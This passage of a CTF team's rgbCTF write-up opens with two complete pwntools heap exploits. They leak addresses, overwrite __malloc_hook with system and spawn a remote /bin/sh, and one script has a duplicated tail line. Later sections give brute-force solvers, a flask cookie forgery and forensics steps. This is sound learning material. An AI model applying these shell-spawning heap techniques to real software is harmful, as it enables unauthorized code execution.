to write address of system to __malloc_hook - Allocate chunk, with the size being the pointer to the string `/bin/sh` ```python from pwn import * import ctypes e = ELF("./spb") libc = ELF("./libc.so.6") p = remote("challenge.rgbsec.xyz", 6969) #p = process("./spb", env={"LD_PRELOAD":libc.path}) #context.log_level="debug" #gdb.attach(p, """pie break * main+500""") def choose(length, title="AAAA"): p.sendlineafter(">", "1") p.sendlineafter(">", str(length)) p.sendlineafter(">", title) print("chose") def drink(idx, drink): p.sendlineafter(">", "2") p.sendlineafter(">", str(idx)) p.sendlineafter(">", str(drink)) print("got drink") def sing(): p.sendlineafter(">", "3") print("sang") p.sendlineafter(">", "0") p.sendlineafter(">", "") sing() leak = p.recvline() pie_base = int(leak.split()[2][2:], 16) - 0xf08 print("pie_base", hex(pie_base)) choose(0x10) sing() leak = p.recvline() heap_base = int(leak.split()[2][2:], 16) - 0x280 print("heap address", hex(heap_base)) top_chunk = 0x2a0+heap_base p.sendlineafter(">", "1") p.sendlineafter(">", str(ctypes.c_ulong(heap_base-top_chunk+0x60 - 24).value)) print("read from", pie_base + 0x202020, hex(pie_base + 0x202020)) p.recvline() p.recvline() choose("8", p64(pie_base + 0x202040)) p.recvuntil(">") choose(8, "") choose(8, "") sing() leak = p.recvline() libc.address = int(leak.split()[2][2:], 16) - 0x3ec680 print("libc address", hex(libc.address)) print("malloc hook", hex(libc.sym["__malloc_hook"])) print("system addr", hex(libc.sym["system"])) binsh = next(libc.search("/bin/sh")) print("binsh", hex(binsh)) choose(0x69, "\x00"*0x10 + p64(libc.sym["__malloc_hook"])) choose(0x69, p64(libc.sym["system"])) p.sendlineafter(">", "1") p.sendlineafter(">", str(binsh)) p.interactive()(">", str(binsh)) p.interactive() ``` Unfortunately I didn't know how to HOF at the time so I guess Rob did it. Here is his script: ```python from pwn import * e = ELF("./spb") libc = ELF("./libc.so.6") context.binary = e.path is_remote = "--remote" in sys.argv def debug(): if not is_remote: gdb.attach(p) if is_remote: p = remote("challenge.rgbsec.xyz", 6969) else: p = process(e.path) # {"LD_PRELOAD": libc.path}) def alloc(size, data="AAAA"): p.sendlineafter(">", "1") p.sendlineafter(">", str(size)) p.sendlineafter(">", data) def leak(): p.sendlineafter(">", "3") p.recvuntil("0x") return int(p.recvuntil(" "), 16) p.sendlineafter(">", "0") p.sendlineafter(">", "") bi = leak() + 0x2010f8 + 0x40 alloc(0x10) heap = leak() alloc(0x100**8 - 0x290, data="") p.sendlineafter(">", "") alloc(0x70, "\x00" * 0x30 + p64(bi)) alloc(0x18) alloc(0x18) lbc = leak() - 0x7f8f21422680 + 0x00007f8f21036000 alloc(0x38, p64(lbc + libc.symbols["__malloc_hook"])) alloc(0xb8, p64(lbc + libc.symbols["system"])) debug() p.sendlineafter(">", "1") p.sendlineafter(">", str(lbc + next(libc.search("/bin/sh")))) p.interactive() ``` Flag: `rgbCTF{l3ts_g31_th1s_bre@d}` ## Pwn/Rev - sadistic reversing 2 same as sad rev 2, but this time start with idx 32 and loop around: ```python from pwn import * import sys import string arr = [117, 148, 123, 5, 54, 9, 61, 234, 45, 4, 2, 40, 88, 111, 65, 65, 46, 23, 114, 110, 102, 148, 136, 123, 30, 5, 214, 231, 225, 255, 239, 138, 211, 208, 250, 232, 178, 187, 171, 242, 255, 30, 39, 19, 64, 17, 40, 29, 13, 27] poss = string.ascii_uppercase + string.ascii_lowercase + string.digits + '{}_' flag = 'A'*50 n = 0 s = 32 for i in range(len(arr)): found = False for c2 in poss: F = flag[:s]+c2+flag[s+1:] r = process(['./itwk.so',F]) output = int(r.recvline().decode().strip().split(' ')[n].replace('[','').replace(']','').replace(',','')) r.close() if output == arr[n]: found = True flag = F break if not found: sys.exit() n += 1 n %= 50 s += 1 s %= 50 print(flag) ``` ## Pwn/Rev - THE LYCH KING We get a binary and a text file. So we pop the binary into a decompiler and realize it's haskell. Yuck. We run a modified version of hsdecomp that ignores errors on the binary and get some output, but there are errors in important sections of the code so we still don't know what the binary is doing. However, we can still run the binary. If we run `./lich AAAA` and `./lich AAAB` we get outputs that differ by one character. So, we can do a character by character bruteforce. Script below, uses multiprocessing because single-core is too slow. ```python= from subprocess import check_output def check(i): return check_output(['./lich2',i])[:-1] cur = b'' alpha = [bytes([i]) for i in range(1,128)] with open("cipher","rb") as f: target = f.read() from multiprocessing.dummy import Pool as ThreadPool pool = ThreadPool(8) while 1: results = pool.map(check,[cur+i for i in alpha]) for i in results: if target.startswith(i): cur+=alpha[results.index(i)] print(cur) break else: print(cur) break ``` We get the following output: ```python b'Kem%dlnjee/cvidvbh(xlc-Jhgh(A`of"iaju)egj"bzob%the uzhyit-nl\'sff buo&{ncgah&Ioq({kwb$so"\x7fblrc!df+znc`fn)`wd{&}n hjdusep)Gxdtjth&`lv#}hh Cpwhkag-Mdoblf% yamcrlxvjh!`mec.k\x7f(bqrv%pj`(cbir)Jn`{ididq&|xipvic*q`t`ij&rn`+Mriscg\'[dqijb(rmzj!K\x7fosvmort`e"-{ii,Ofoj%Aj`f/csmly{`ldq&ggxtmzh`&Ll`&he``lo faj"desjia.rdsl+qmc"mtf`h&Fyt`bq/Llhfsgnc.!\\iek!Aqosqdoqshi*vks$bmwprmyhb"bkj%Euqk`s%}k\x7faynaf("Docpip Bj\x7fishhdj$iejfme"y`c&nc~!Hgnc#Igjf&\'ghwq`sdjiic!rjn!iarshp(og$qig-Uejwtgk(sjxomn${hk&Mtbs`l Zayoac\'deak#djrj&oa kumkt/wh.\x7fpayfgz#|hj({o|kh+ftjj&`s}|qh(ziug`uy <' ``` That looks pretty disgusting and there's no flag in sight. So, we message the challenge author, who says: > can you be certain our cipher text was generates with that binary? > the challenge description and name are clues What the heck ?? This is a standard thing - if you have a binary and an output file, it is assumed that the output file was generated from the binary. In desperation we guess that the file is the input to the binary and run `./lich $(cat cipher)`. We get the following output (minus some unprintables b/c copy/paste): ``` Kem%dlnjee/cvidvbh(xlc-Jhgh(A`of"iaju)egj"bzob%the uzhyit-nl'sff buo&{ncgah&Ioq({kwb$so"blrc!df+znc`fn)`wd{&}n hjdusep)Gxdtjth&`lv#}hh Cpwhkag-Mdoblf% yamcrlxvjh!`mec.k(bqrv%pj`(cbir)Jn`{ididq&|xipvic*q`t`ij&rn`+Mriscg'[dqijb(rmzj!Kosvmort`e"-{ii,Ofoj%Aj`f/csmly{`ldq&ggxtmzh`&Ll`&he``lo faj"desjia.rdsl+qmc"mtf`h&Fyt`bq/Llhfsgnc.!\iek!Aqosqdoqshi*vks$bmwprmyhb"bkj%Euqk`s%}kaynaf("Docpip Bjishhdj$iejfme"y`c&nc~!Hgnc#Igjf&'ghwq`sdjiic!rjn!iarshp(og$qig-Uejwtgk(sjxomn${hk&Mtbs`l Zayoac'deak#djrj&oa kumkt/wh.payfgz#|hj({o|kh+ftjj&`s}|qh(ziug`uy ``` Hey, wait a second. That's the same thing (± a trailing linefeed) that we had before! So now we realize that encryption and decryption are the same operation. One example of such an operation that comes to mind is XOR. So let's just XOR the input and output strings together. We get: ``` 199799881888797768184547930028175006793506381771117794822948179745797977293768184468654793015510281750310206793523232638177146465177948711106948179831222479797725343637681844616871654793007954881028175026800851067935184809471638177135971795317794849568974849481797980488407979797776853724977768184554796460845547930102861158301028175020671232650206793522629445025226381771451499899514517794868674988936686948179837338977884373797977210827757718112768184442264551544612554792996390906709083700281750037718143181773995793494148994849995040528175998208989 ``` ![](https://i.imgur.com/nSG24xo.jpg) At this point, someone looked back at the broken haskell decompilation and realized that 1997 was a hard-coded constant. And notice that the above XOR key begins with 1997. This is a mighty big coincidence, but it doesn't really help us until the challenge description is updated. > The binary was changed *ever so slightly* after the cipher text was generated ... The challenge description also contained the words "bad seeds", which points us to changing the constant `1997`. This is `0x7cd` in hex, so we look for instances of `07 cd` and `cd 07` in the binary, and figure out that the seed takes up bytes 0x7c5b and 0x7c5d. So, we just bruteforce the seed until we find something that fits the flag format. ```python= from subprocess import check_output def check(i): return check_output(['./lich2',i])[:-1] import struct with open("lich","rb") as f: deets = bytearray(f.read()) with open("cipher","rb") as f: sice = bytearray(f.read()) for seed in range(2**16): deets[0x7c5b:0x7c5d] = bytearray(struct.pack("<H",seed)) with open("lich2","wb") as f: f.write(deets) o = check(bytes(sice)) if seed%100==0: print(seed) if b'rgbctf' in o.lower(): print(seed,o) ``` We sice deets when the seed is at 1495. <!-- ```python from pwn import * import sys, os import string file = open('lich','rb').read() for seed in range(1000,9999): file2 = open('lichtest','wb') file2.write(file[:0x7c5b]) file2.write(p16(seed)) file2.write(file[0x7c5d:]) file2.close() os.system('chmod +x lichtest') file = open('lichtest','rb').read() F = open('cipher','rb').read() r = process(['./lichtest',F]) output = r.recvline().decode().strip() r.close() print('rgbCTF' in output,seed,output) if 'rgbCTF' in output: break ``` --> Flag: `rgbctf{the flag is just rgb lol}` ## Web - Tic Tac Toe Flag is obfuscated on the client. Place a breakpoint and the flag is decrypted on the stack. ![](https://i.imgur.com/vosHAl4.png) ## Web - Typeracer Flag is obfuscated on the client. Place a breakpoint and the flag is decrypted on the stack. ![](https://i.imgur.com/cqYLYcK.png) ## Web - Imitation Crab Check `robots.txt` at http://challenge.rgbsec.xyz:7939/robots.txt and see that the file `/static/export.har` is listed. Download the HAR file at http://challenge.rgbsec.xyz:7939/static/export.har and drop it into the Chrome DevTools network tab to decode it. Get key codes from the POST request bodies to `/search` and decode them to get the original typed flag. ## Web - Countdown The end time was stored in a signed flask cookie. On the site you see a `Time is key` so you guess that `Time` is the secret key and sign a forged cookie with the end date as a date that already passed. ## Web - Keen Eye Website loads poppers.js, not popper.js. The flag is in the source code of poppers.js. You could find this out by removing the script that prevented errors from showing, or just guess and look at all of them. ## [ZTC] - Ralphie! Load the image into StegSolve and view any one of the planes with an encoded QR code. ![](https://i.imgur.com/T2b6noi.png) Decode the QR code using any of a variety of tools to get the flag. ## [ZTC] - vaporwave1 Look at the spectrogram; there's the flag, I guess. ## [ZTC] - peepdis A quick search for the .dae file extension shows that the file is a COLLADA 3D model. It appears to just be XML, so we guess that it is a real COLLADA file and not a fake file extension. Many different programs can open these, but blender is free and was already installed. Importing the model using File > Import > Collada shows that the model is a 3D QR code. After appropriate scaling, rotating, lighting, and texturing of the extruded portions to be black, we can render the QR code from an orthographic view and scan it to get the flag. ![The rendered QR code](https://i.imgur.com/eCJGia4.jpg) Flag: `rgbCTF{3d-1337!}` ## [ZTC] - icanhaz This is another "let's guess how many layers this file has" challenge. 1. given XZ archive -> extract 2. get hexdump -> parse to file 3. get XZ archive -> extract 4. get SVG -> change slightly darker rectangles to black 5. get QR code -> scan 6. get base64 -> decode 7. get XZ archive -> extract 8. get ANSI/ASCII QR code -> scan Just for fun, here's a shell script that does all of this. ```bash #!/bin/bash sudo apt-get install -y imagemagick xz-utils zbar-tools cp icanhaz.xyz icanhaz.xz unxz icanhaz.xz -f cat icanhaz | cut -d' ' -f2-6 | xxd -r -p > icanhaz2.xz unxz icanhaz2.xz -f mv icanhaz2 icanhaz2.svg sed -i 's/fffffd/000000/g' icanhaz2.svg zbarimg icanhaz2.svg -q | cut -d: -f2 | base64 -d > icanhaz3.xz unxz icanhaz3.xz -f mv icanhaz3 icanhaz3.ans echo 'text 0,0 "' > icanhaz3 cat icanhaz3.ans | cut -c 11- | rev | cut -c 5- | rev >> icanhaz3 echo '"' >> icanhaz3 convert -size 256x256 xc:black -font "FreeMono" -fill white -draw @icanhaz3 icanhaz3.png zbarimg icanhaz3.png -q | cut -d: -f2 | tee flag.txt ``` Flag: `rgbCTF{iCanHaz4N6DEVJOB}` ## [ZTC] - vaporwave2 Notice that the two audio files given are pretty similar, but not the same. From this, guess that the difference is important. Invert one, re-mix them, and take a look at a spectrogram. ## [ZTC] - vaporwave3 You're given a couple audio files. Each one's spectogram has a flag part to it: ``` 672ed211123e0d29b014d4ebe0327512.mp3: jan 5054d2b72885158625f58b42279b83e4.mp3: OHS f15a41f940d3bf5ca3c68febaab62ab3.mp3: {ah 866bd0fd8c4f86aa1f7b7862bee829d0.mp3: n1y 9847d2dd5da074516458967520dd0d2b.mp3: 4f7 28437533e1a1653647fd87e831fc23b9.mp3: z_k b8b890ae9094868186ac7951acf62e25.mp3: seO 5f29054b6c5eef925cfbb8d74548468c.mp3: 3p} ``` Do some reassembling. Google the WRs the description mentions and you get to a streamer called `Summoning Salt`. Guess the key "summoningsaalt" to decrypt and get flag: `rgbCTF{summ0n1ng_s4l73d}`

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password
    or
    Sign in via Google Sign in via Facebook Sign in via X(Twitter) Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    By signing in, you agree to our terms of service.

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully